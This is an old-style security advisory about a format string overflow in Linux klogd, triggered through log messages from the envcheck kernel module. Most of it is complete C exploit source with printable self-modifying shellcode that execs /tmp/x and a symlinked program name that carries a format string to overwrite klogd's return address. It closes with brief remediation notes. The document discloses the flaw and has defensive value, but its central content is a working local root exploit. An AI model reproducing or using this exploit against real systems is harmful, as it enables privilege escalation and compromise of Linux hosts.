COMMAND
klogd
SYSTEMS AFFECTED
Linux
PROBLEM
Esa Etelavuori found following. Envcheck is a Linux/x86 kernel
module which strips dangerous environment variables before
executing a new program, and which can be used to log these
probably threatening events. It was mentioned on this list two
weeks ago. However, a recent format string handling bug in klogd
allows an attacker to overflow its buffer and execute arbitrary
code. The problem from attacker's viewpoint is that usual kernel
messages contain so few attacker-controlled characters that
exploiting it might not be possible at all or is kernel specific.
Snipped from envcheck.c (wrapped):
if (strchr(&string1[env_lang_len[j]], '/')) {
if (verbose) {
sanitise(string1);
printk(KERN_INFO "envcheck: %.30s (uid=%d)
discarded locale variable with /: %s\n",
current->comm, current->uid, string1);
Verbose is enabled by default. String1 can be 64 characters.
Sanitise() filters non-printable ASCII characters (<0x20 and
>0x7e). Custom shell code has to be made, for which our
favourite insecurity architecture is suitable so well.
Return address has to contain other characters so program's
filename will be used. It is limited to 15 characters but it is
enough for a format string which overflows the 2048 byte buffer
in klogd's vsyslog() and overwrites the return address. In a
successful attack/DoS uid will not be even logged due to long
format padding.
/*
* Linux/x86 klogd exploit using envcheck by
* Esa Etelavuori (www.iki.fi/ee/) in 2k0912
* Tested on Red Hat 6.2 / Celeron A & P2.
* You need some skillz to use this.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define RETADDR 0xbffffdab
int main(int ac, char **av)
{
char sting[] = "./[<%2009xAAAABBB";
/* Self-modifying code using 0x20 - 0x7e chars and execing /tmp/x.
* May need tuning for correct %esp offset (%ebx) for modification
* of last two bytes which are transformed into int 0x80. */
char *venom = "LC_ALL="
"T[fhBOfXf5B@f1ChjAX4APPZHf1Chfh/xh/tmpT[RSTYjOX4D2p";
if (ac != 1 && ac != 2) {
fprintf(stderr, "usage: %s [return address]\n", av[0]);
exit(1);
}
if (ac == 2 && av[1][0] == '-') {
printf("done\n");
exit(0);
}
else if (ac == 2 && av[1][0] == '+') {
if (putenv(venom)) {
perror("putenv");
exit(1);
}
execl(av[0], av[0], "-", NULL);
}
else {
*(unsigned long *)(&sting[strlen(sting) - 4 - 3])
= ac == 1 ? RETADDR: strtoul(av[1], NULL, 0);
if (symlink(av[0], sting)) {
perror("symlink");
exit(1);
}
execl(sting, sting, "+", NULL);
}
perror("execl");
exit(1);
}
SOLUTION
New version of envcheck has been released which does extra
filtering. In this particular case it does not necessarily help,
because envcheck can be used to inject the shellcode into klogd's
stack, and another shorter kernel message can be used to trigger
the payload.
Klogd should not run as root on 2.2+ kernels anyway.